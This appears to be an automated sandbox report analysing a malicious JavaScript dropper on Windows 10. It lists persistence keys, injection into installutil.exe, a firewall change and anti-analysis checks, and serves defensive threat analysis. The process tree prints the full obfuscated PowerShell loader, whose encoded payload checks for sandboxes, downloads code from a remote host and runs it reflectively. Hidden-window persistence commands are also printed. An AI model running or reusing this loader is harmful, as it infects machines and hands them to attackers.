fbeaaff51575496bb602960afd1903be389c7f405a249ea5e630ae8d53a50154

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20251016-en
resource tags

arch:x64arch:x86image:win10v2004-20251016-enlocale:en-usos:windows10-2004-x64system
submitted
29/10/2025, 19:55

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
AVIODIRECTPN_Desc__QtyDetails.js
Size 74KB
Sample251029-ym7nbatjes
SHA256 fbeaaff51575496bb602960afd1903be389c7f405a249ea5e630ae8d53a50154
MD5 f7834842d0b4311abbe73e7e5fbdc646
SHA1 483c3ed2cb002595347671dd54f976d805df955e
SHA512 f8c1f307c7bd355587d80b3e61f82584adc9e545ba81534d217f974c7a99e4bf9da3b22ad141c11454f61a40c4150e1b1720a84e2c9d92134b655ba9cf2421dd
SSDEEP 768:bI/478CnXARDkTuxWuxWuxWuxWuxWuVuxWuxWuxWuxWuxWuxWt:bIQ1Tfffff6fffffft
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
29	3788	powershell.exe
31	4864	powershell.exe
34	4864	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 17 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3360	powershell.exe
3788	powershell.exe
3648	powershell.exe
4380	powershell.exe
4368	powershell.exe
4464	powershell.exe
3900	powershell.exe
4864	powershell.exe
3564	powershell.exe
4888	powershell.exe
3992	powershell.exe
548	powershell.exe
4652	powershell.exe
2228	powershell.exe
3032	powershell.exe
2172	powershell.exe
2888	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4996	netsh.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-635849552-4224125634-3671944134-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-635849552-4224125634-3671944134-1000\Control Panel\International\Geo\Nation	wscript.exe

Adds Run key to start application 2 TTPs 12 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-635849552-4224125634-3671944134-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Update Drivers NVIDEO_zqr = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Windows Sytem (x86)\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\rhjeu.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-635849552-4224125634-3671944134-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\681af9bacfbc6a26a8f1efd31a593303 = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\installutil.exe\" .."	installutil.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\681af9bacfbc6a26a8f1efd31a593303 = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\installutil.exe\" .."	installutil.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-635849552-4224125634-3671944134-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_dpr = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Windows Sytem (x86)\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\rhjeu.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-635849552-4224125634-3671944134-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_dpr = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Windows Sytem (x86)\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\rhjeu.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-635849552-4224125634-3671944134-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_dpr = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Windows Sytem (x86)\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\rhjeu.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-635849552-4224125634-3671944134-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_dpr = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Windows Sytem (x86)\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\rhjeu.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-635849552-4224125634-3671944134-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_dpr = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Windows Sytem (x86)\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\rhjeu.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-635849552-4224125634-3671944134-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_dpr = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Windows Sytem (x86)\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\rhjeu.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-635849552-4224125634-3671944134-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_dpr = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Windows Sytem (x86)\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\rhjeu.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-635849552-4224125634-3671944134-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_dpr = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Windows Sytem (x86)\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\rhjeu.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-635849552-4224125634-3671944134-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Update Drivers NVIDEO_dpr = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command \". 'C:\\Users\\Admin\\AppData\\LocalLow\\Windows Sytem (x86)\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\rhjeu.ps1' \";exit"	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3992 set thread context of 312	3992	powershell.exe	129

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	installutil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	InstallUtil.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 20 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2260	PING.EXE
2272	cmd.exe
1164	cmd.exe
4576	PING.EXE
3476	cmd.exe
4584	cmd.exe
688	PING.EXE
3464	PING.EXE
2580	PING.EXE
4700	PING.EXE
5060	PING.EXE
2136	cmd.exe
620	cmd.exe
3088	cmd.exe
2560	cmd.exe
4400	cmd.exe
4648	PING.EXE
2060	cmd.exe
2408	PING.EXE
4116	PING.EXE

Runs ping.exe 1 TTPs 10 IoCs

Remote System Discovery

T1018

pid	Process
2408	PING.EXE
688	PING.EXE
4116	PING.EXE
3464	PING.EXE
4576	PING.EXE
2580	PING.EXE
4700	PING.EXE
4648	PING.EXE
5060	PING.EXE
2260	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3032	powershell.exe
3032	powershell.exe
3788	powershell.exe
3788	powershell.exe
4864	powershell.exe
4864	powershell.exe
4864	powershell.exe
2888	powershell.exe
2172	powershell.exe
2172	powershell.exe
2888	powershell.exe
2888	powershell.exe
2172	powershell.exe
4864	powershell.exe
3564	powershell.exe
3564	powershell.exe
4888	powershell.exe
3992	powershell.exe
3992	powershell.exe
4888	powershell.exe
3992	powershell.exe
3992	powershell.exe
3992	powershell.exe
3992	powershell.exe
3992	powershell.exe
548	powershell.exe
548	powershell.exe
3992	powershell.exe
3992	powershell.exe
3992	powershell.exe
3992	powershell.exe
3648	powershell.exe
3648	powershell.exe
3992	powershell.exe
3992	powershell.exe
3992	powershell.exe
3992	powershell.exe
3992	powershell.exe
3992	powershell.exe
3992	powershell.exe
3992	powershell.exe
3992	powershell.exe
3992	powershell.exe
3992	powershell.exe
4652	powershell.exe
4652	powershell.exe
3992	powershell.exe
3992	powershell.exe
3992	powershell.exe
3992	powershell.exe
3992	powershell.exe
3992	powershell.exe
3992	powershell.exe
3992	powershell.exe
3992	powershell.exe
3992	powershell.exe
3992	powershell.exe
4380	powershell.exe
4380	powershell.exe
3992	powershell.exe
3992	powershell.exe
3992	powershell.exe
3992	powershell.exe
3992	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3992	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3032	powershell.exe
Token: SeDebugPrivilege	3788	powershell.exe
Token: SeIncreaseQuotaPrivilege	3788	powershell.exe
Token: SeSecurityPrivilege	3788	powershell.exe
Token: SeTakeOwnershipPrivilege	3788	powershell.exe
Token: SeLoadDriverPrivilege	3788	powershell.exe
Token: SeSystemProfilePrivilege	3788	powershell.exe
Token: SeSystemtimePrivilege	3788	powershell.exe
Token: SeProfSingleProcessPrivilege	3788	powershell.exe
Token: SeIncBasePriorityPrivilege	3788	powershell.exe
Token: SeCreatePagefilePrivilege	3788	powershell.exe
Token: SeBackupPrivilege	3788	powershell.exe
Token: SeRestorePrivilege	3788	powershell.exe
Token: SeShutdownPrivilege	3788	powershell.exe
Token: SeDebugPrivilege	3788	powershell.exe
Token: SeSystemEnvironmentPrivilege	3788	powershell.exe
Token: SeRemoteShutdownPrivilege	3788	powershell.exe
Token: SeUndockPrivilege	3788	powershell.exe
Token: SeManageVolumePrivilege	3788	powershell.exe
Token: 33	3788	powershell.exe
Token: 34	3788	powershell.exe
Token: 35	3788	powershell.exe
Token: 36	3788	powershell.exe
Token: SeIncreaseQuotaPrivilege	3788	powershell.exe
Token: SeSecurityPrivilege	3788	powershell.exe
Token: SeTakeOwnershipPrivilege	3788	powershell.exe
Token: SeLoadDriverPrivilege	3788	powershell.exe
Token: SeSystemProfilePrivilege	3788	powershell.exe
Token: SeSystemtimePrivilege	3788	powershell.exe
Token: SeProfSingleProcessPrivilege	3788	powershell.exe
Token: SeIncBasePriorityPrivilege	3788	powershell.exe
Token: SeCreatePagefilePrivilege	3788	powershell.exe
Token: SeBackupPrivilege	3788	powershell.exe
Token: SeRestorePrivilege	3788	powershell.exe
Token: SeShutdownPrivilege	3788	powershell.exe
Token: SeDebugPrivilege	3788	powershell.exe
Token: SeSystemEnvironmentPrivilege	3788	powershell.exe
Token: SeRemoteShutdownPrivilege	3788	powershell.exe
Token: SeUndockPrivilege	3788	powershell.exe
Token: SeManageVolumePrivilege	3788	powershell.exe
Token: 33	3788	powershell.exe
Token: 34	3788	powershell.exe
Token: 35	3788	powershell.exe
Token: 36	3788	powershell.exe
Token: SeDebugPrivilege	4864	powershell.exe
Token: SeDebugPrivilege	2172	powershell.exe
Token: SeDebugPrivilege	2888	powershell.exe
Token: SeDebugPrivilege	3564	powershell.exe
Token: SeDebugPrivilege	4888	powershell.exe
Token: SeDebugPrivilege	3992	powershell.exe
Token: SeDebugPrivilege	548	powershell.exe
Token: SeDebugPrivilege	3648	powershell.exe
Token: SeDebugPrivilege	312	installutil.exe
Token: 33	312	installutil.exe
Token: SeIncBasePriorityPrivilege	312	installutil.exe
Token: 33	312	installutil.exe
Token: SeIncBasePriorityPrivilege	312	installutil.exe
Token: 33	312	installutil.exe
Token: SeIncBasePriorityPrivilege	312	installutil.exe
Token: SeDebugPrivilege	4652	powershell.exe
Token: 33	312	installutil.exe
Token: SeIncBasePriorityPrivilege	312	installutil.exe
Token: 33	312	installutil.exe
Token: SeIncBasePriorityPrivilege	312	installutil.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2892 wrote to memory of 2268	2892	wscript.exe	84
PID 2892 wrote to memory of 2268	2892	wscript.exe	84
PID 2268 wrote to memory of 3032	2268	wscript.exe	85
PID 2268 wrote to memory of 3032	2268	wscript.exe	85
PID 3032 wrote to memory of 3788	3032	powershell.exe	87
PID 3032 wrote to memory of 3788	3032	powershell.exe	87
PID 3788 wrote to memory of 4864	3788	powershell.exe	101
PID 3788 wrote to memory of 4864	3788	powershell.exe	101
PID 4864 wrote to memory of 2136	4864	powershell.exe	102
PID 4864 wrote to memory of 2136	4864	powershell.exe	102
PID 4864 wrote to memory of 3476	4864	powershell.exe	103
PID 4864 wrote to memory of 3476	4864	powershell.exe	103
PID 4864 wrote to memory of 620	4864	powershell.exe	104
PID 4864 wrote to memory of 620	4864	powershell.exe	104
PID 4864 wrote to memory of 2272	4864	powershell.exe	105
PID 4864 wrote to memory of 2272	4864	powershell.exe	105
PID 4864 wrote to memory of 3088	4864	powershell.exe	106
PID 4864 wrote to memory of 3088	4864	powershell.exe	106
PID 4864 wrote to memory of 2060	4864	powershell.exe	107
PID 4864 wrote to memory of 2060	4864	powershell.exe	107
PID 4864 wrote to memory of 2560	4864	powershell.exe	108
PID 4864 wrote to memory of 2560	4864	powershell.exe	108
PID 4864 wrote to memory of 4584	4864	powershell.exe	109
PID 4864 wrote to memory of 4584	4864	powershell.exe	109
PID 4864 wrote to memory of 4400	4864	powershell.exe	110
PID 4864 wrote to memory of 4400	4864	powershell.exe	110
PID 4864 wrote to memory of 1164	4864	powershell.exe	111
PID 4864 wrote to memory of 1164	4864	powershell.exe	111
PID 2136 wrote to memory of 4700	2136	cmd.exe	114
PID 2136 wrote to memory of 4700	2136	cmd.exe	114
PID 3476 wrote to memory of 5060	3476	cmd.exe	113
PID 3476 wrote to memory of 5060	3476	cmd.exe	113
PID 4400 wrote to memory of 4116	4400	cmd.exe	115
PID 4400 wrote to memory of 4116	4400	cmd.exe	115
PID 2060 wrote to memory of 2260	2060	cmd.exe	112
PID 2060 wrote to memory of 2260	2060	cmd.exe	112
PID 2560 wrote to memory of 2408	2560	cmd.exe	117
PID 2560 wrote to memory of 2408	2560	cmd.exe	117
PID 4584 wrote to memory of 688	4584	cmd.exe	116
PID 4584 wrote to memory of 688	4584	cmd.exe	116
PID 3088 wrote to memory of 2580	3088	cmd.exe	118
PID 3088 wrote to memory of 2580	3088	cmd.exe	118
PID 620 wrote to memory of 3464	620	cmd.exe	119
PID 620 wrote to memory of 3464	620	cmd.exe	119
PID 2272 wrote to memory of 4648	2272	cmd.exe	120
PID 2272 wrote to memory of 4648	2272	cmd.exe	120
PID 1164 wrote to memory of 4576	1164	cmd.exe	121
PID 1164 wrote to memory of 4576	1164	cmd.exe	121
PID 4864 wrote to memory of 2172	4864	powershell.exe	122
PID 4864 wrote to memory of 2172	4864	powershell.exe	122
PID 4864 wrote to memory of 2888	4864	powershell.exe	123
PID 4864 wrote to memory of 2888	4864	powershell.exe	123
PID 4864 wrote to memory of 3564	4864	powershell.exe	125
PID 4864 wrote to memory of 3564	4864	powershell.exe	125
PID 4864 wrote to memory of 4888	4864	powershell.exe	126
PID 4864 wrote to memory of 4888	4864	powershell.exe	126
PID 4864 wrote to memory of 3992	4864	powershell.exe	127
PID 4864 wrote to memory of 3992	4864	powershell.exe	127
PID 4864 wrote to memory of 2768	4864	powershell.exe	128
PID 4864 wrote to memory of 2768	4864	powershell.exe	128
PID 3992 wrote to memory of 312	3992	powershell.exe	129
PID 3992 wrote to memory of 312	3992	powershell.exe	129
PID 3992 wrote to memory of 312	3992	powershell.exe	129
PID 3992 wrote to memory of 312	3992	powershell.exe	129

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\AVIODIRECTPN_Desc__QtyDetails.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2892
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" //nologo "C:\Users\Public\AVIODIRECTPN_Desc__QtyDetails.js"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:2268
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -c "$dYEUs ;$vEZVu ;$vEZVu = 'U3RhcnQtU2xlZX' + ' + A + ' + 'gLVNlY2' + ' + 9 + ' + 'uZHMgNTsgW1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG' + '9' + 'jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY2' + '9' + 'sVHlwZV06OlRsczEyOw0KOyR3aXJuUC' + 'A' + '' + '9' + 'IFRlc3QtQ2' + '9' + 'ubmVjdGlvbi' + 'A' + 'nd3d3Lmdvb2dsZS5jb20nIC1FcnJvckFjdGlvbiBTaWxlbnRseUNvbnRpbnVlOw0KJFZhcGZtID0gJHdpcm5QIC1pcyBbQXJyYXldOw0KaWYgKCRWYXBmbSl7DQoNCn0NCmVsc2V7DQpSZXN0YXJ0LUNvbXB1dGVyIC1mb3JjZS' + 'A' + '7DQogIC' + 'A' + 'gICBleGl0Ow0KfTsNCg0KO2lmKChnZXQtcHJvY2Vzcy' + 'A' + 'naGFuZGxlJywgJ2F1dG' + '9' + 'ydW5zYycsICdEYmd2aWV3JywgJ3RjcHZjb24nLC' + 'A' + 'nYW55LnJ1bicsICdhbnkucnVuJywgJ3NhbmRib3gnLC' + 'A' + 'ndGNwdmlldycsICdPTExZREJHJywnSW1tdW5pdHlEZWJ1Z2dlcicsICdXaXJlJy' + 'A' + 'rICdzaGFyaycsJ2FwYXRlRE5TJywnYW5hbHl6ZScgLWVhIFNpbGVudGx5Q2' + '9' + 'udGludWUpIC1lcS' + 'A' + 'kTnVsbCl7I' + 'A' + '0KIC' + 'A' + 'gIC' + 'A' + 'gI' + 'A' + '0KfQ0KZWxzZXsgDQpSZXN0YXJ0LUNvbXB1dGVyIC1mb3JjZS' + 'A' + '7DQogIC' + 'A' + 'gICBleGl0Ow0KIH07W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG' + '9' + 'jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY2' + '9' + 'sVHlwZV06OlRsczEyIDskU3RyaW5nYmFz' ;$dYEUs = 'ZTtGdW5jdGlvbiB4YkxtYns7JHhDdm5HID0gW1N5c3RlbS5UZXh0LkVuY2' + ' + 9 + ' + 'kaW5nXTo6VVRGOC5HZXRTdHJpbmcoW3N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkU3RyaW5nYmFzZSkpO3JldHVybi' + ' + A + ' + 'keEN2bkc7fTskam' + '9' + '2UksgPS' + 'A' + 'oICdDOlxVc2Vyc1xQdWJsaWNcJy' + 'A' + 'rICd2enlrYi50eHQnKTskVHFGQXIgPS' + 'A' + 'nYUhSMGNITTZMeTh3TURrME1qTmhaall5TXpnME1HVmlPRGxtWWpFM05UazFORE00TnprME16RXVNVGcxTVRrME5pNXRaWFZ6YVhSbGFHOXpkR2RoZEc5eUxtTnZiUzVpY2k5R1YxVkNZbE55VGtWWFh6RXdMekF6TG5SNGRBPT0nOyRTdHJpbmdiYXNlID0gJFRxRkFyOy' + 'A' + 'kVHFGQXIgPSB4YkxtYjskVHFGQXIgfCBPdXQtRmlsZS' + 'A' + 'tRmlsZVBhdGggJGpvdlJLIC1FbmNvZGluZy' + 'A' + 'nVVRGOCcgLWZvcmNlIDskWUNiZHIgPS' + 'A' + 'oICdDOlxVc2Vyc1xQdWJsaWNcJy' + 'A' + 'rICdqa3hwci50eHQnKS' + 'A' + '7JHNocGJzID0gTmV3LU' + '9' + 'iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudC' + 'A' + '7JHNocGJzLkVuY2' + '9' + 'kaW5nID0gW1N5c3RlbS5UZXh0LkVuY2' + '9' + 'kaW5nXTo6VVRGOC' + 'A' + '7JHNocGJzLnByb3h5ID0gJG51bGw7JEtGT0tLIC' + 'A' + '' + '9' + 'ICggR2V0LUNvbnRlbnQgLVBhdGggJGpvdlJLICkgOyRvandLUi' + 'A' + '' + '9' + 'ICRzaHBicy5Eb3dubG' + '9' + 'hZERhdGEoICRLRk' + '9' + 'LSy5UcmltKCkgKS' + 'A' + '7JHdkY2pqID0gW1N5c3RlbS5UZXh0LkVuY2' + '9' + 'kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJG' + '9' + 'qd0tSKTskd2RjamogPS' + 'A' + 'oQChbcmVnZXhdOjpzcGxpdCgkd2RjamosJ1wleCUrJykpWzFdKS5UcmltKCk7JHdkY2pqIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRZQ2Jkci' + 'A' + 'tZm' + '9' + 'yY2UgOyRnY1V1QS' + 'A' + '' + '9' + 'ICdMbycgKy' + 'A' + 'nYWQnOyRuTGtqRy' + 'A' + '' + '9' + 'ICdBc3NlJy' + 'A' + 'rICdtYmx5JzskV0ZiZ0UgPS' + 'A' + 'naW52Jy' + 'A' + 'rICdva2UnOyREaG' + '9' + 'kaC' + 'A' + '' + '9' + 'ICdSZWZsZScgKy' + 'A' + 'nY3Rpb24nOyRMaXdXaC' + 'A' + '' + '9' + 'ICRudWxsOyR2cHN0eC' + 'A' + 'rPS' + 'A' + 'nJHdLeERlID0gKCcnaHR0cHM6Ly8wMDk0MjNhZjYyMzg0MGViODlmYjE3NTk1NDM4Nzk0MzEuMTg1MTk0Ni5tZXVzaXRlaG' + '9' + 'zdGdhdG' + '9' + 'yLmNvbS5ici8nJy' + 'A' + 'rICcnRldVQmJTck5FV18xMC8nJykgOycgOyR2cHN0eC' + 'A' + 'rPS' + 'A' + 'nJEdMbWx6ID0gJyclYmFzZTY0JVoyUnZjMlp0Ym5kc1pTOTNZWEl2ZEdWdUxtNXBZblI0WlhRdkx6cHpjSFIwYeaYr+aIkT0' + '9' + 'JycgOyRHTG1sei' + 'A' + '' + '9' + 'ICcnJWJhc2U2NCUnJy' + 'A' + 'rICgkR0xtbHogLXJlcGxhY2UgJyfmmK/miJEnJy' + 'A' + 'sICcnQScnKS' + 'A' + '7OyRKUmFDVy' + 'A' + '' + '9' + 'ICggJydDOlxVc2Vyc1xQdWJsaWNcJycgKy' + 'A' + 'nJ2preHByLnR4dCcnKS' + 'A' + '7JHNxZGh0ID0gKEdldC1Db250ZW50IC1QYXRoICRKUmFDVy' + 'A' + 'tRW5jb2RpbmcgVVRGOCk7Jy' + 'A' + '7JHZwc3R4ICs' + '9' + 'ICckc3FkaHQgLXJlcGxhY2UgJycgJycsICcnJycgOycgOyR2cHN0eC' + 'A' + 'rPS' + 'A' + 'nW2J5dGVbXV0kanJ2dm0gPSBbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdFtCeXRlXV06Om5ldygpOycgOyR2cHN0eC' + 'A' + 'rPS' + 'A' + 'nJGpydnZtID0gKCRzcWRodC' + 'A' + 'gLXNwbGl0ICcnLCcnIHwgRm' + '9' + 'yRWFjaC1PYmplY3QgeyBbYnl0ZV0oJF8uVHJpbSgpKSB' + '9' + 'KS' + 'A' + '7JzskdnBzdHggKz0gJyR6dWdsRi' + 'A' + '' + '9' + 'IFtTeXN0ZW0uJy' + 'A' + 'rICREaG' + '9' + 'kaC' + 'A' + 'rICcuJy' + 'A' + 'rICRuTGtqRy' + 'A' + 'rICddOjonICsgJGdjVXVBICsgJyggJGpydnZtICk7Jy' + 'A' + '7JHZwc3R4ICs' + '9' + 'ICckRUVHY20gPS' + 'A' + 'kenVnbEYuR2V0VHlwZSggJydDbGFzc0xpYnJhcnkzLkNsYXNzMScnICk7Jy' + 'A' + '7JHZwc3R4ICs' + '9' + 'ICckS1B4T0IgPS' + 'A' + 'kRUVHY20uR2V0TWV0aG' + '9' + 'kKC' + 'A' + 'nJ3ByRlZJJycgKS4nICsgJFdGYmdFICsgJyggJExpd1doICwgW2' + '9' + 'iamVjdFtdXS' + 'A' + 'oICRHTG1sei' + 'A' + 'sICcnJXZWbEd6JScnICwgJydEIEREQzpcV2luZG' + '9' + '3c1xNaWNyb3NvZnQuTkVUXEZyYW1ld2' + '9' + 'ya1x2NC4wLjMwMzE5XGluc3RhbGx1dGlsJycsICcnJHRydWUnJywgJHdLeERlICkgKTsnIDskZkRwRXcgPS' + 'A' + 'oICdDOlxVc2Vyc1xQdWJsaWNcJy' + 'A' + 'rICd3bnZyZl8wMS5wczEnICkgOyR2cHN0eCB8IE' + '9' + '1dC1GaWxlIC1GaWxlUGF0aC' + 'A' + 'kZkRwRXcgLWZvcmNlIDs7cG' + '9' + '3ZXJzaGVsbC5leGUgLUV4ZWN1dGlvblBvbGljeSBieXBhc3MgLUZpbGUgJGZEcEV3IDs=' ;$kJgEZ = ($vEZVu + $dYEUs) ;$kJgEZ = $kJgEZ.replace('''',$null) ;$kJgEZ = $kJgEZ.replace('+ ',$null) ;$kJgEZ = $kJgEZ.replace(' ',$null) ;Function BaseMy_evILa{;$cqlIX = [System.Text.Encoding]::UTF8.GetString([system.Convert]::FromBase64String($kJgEZ));return $cqlIX;};$onMTA = BaseMy_evILa; $onMTA = ($onMTA -replace '%vVlGz%','C:\Users\Public\AVIODIRECTPN_Desc__QtyDetails的这五js') ;$YOhni = 'C:\Users\Public\teste.ps1' ; $onMTA | Out-File -FilePath $YOhni -force ; powershell.exe -ExecutionPolicy Bypass -file $YOhni ; "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3032
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file C:\Users\Public\teste.ps1
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3788
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -File C:\Users\Public\wnvrf_01.ps1
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4864
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\broadcastmsg_1760653149.txt"
        6⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2136
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
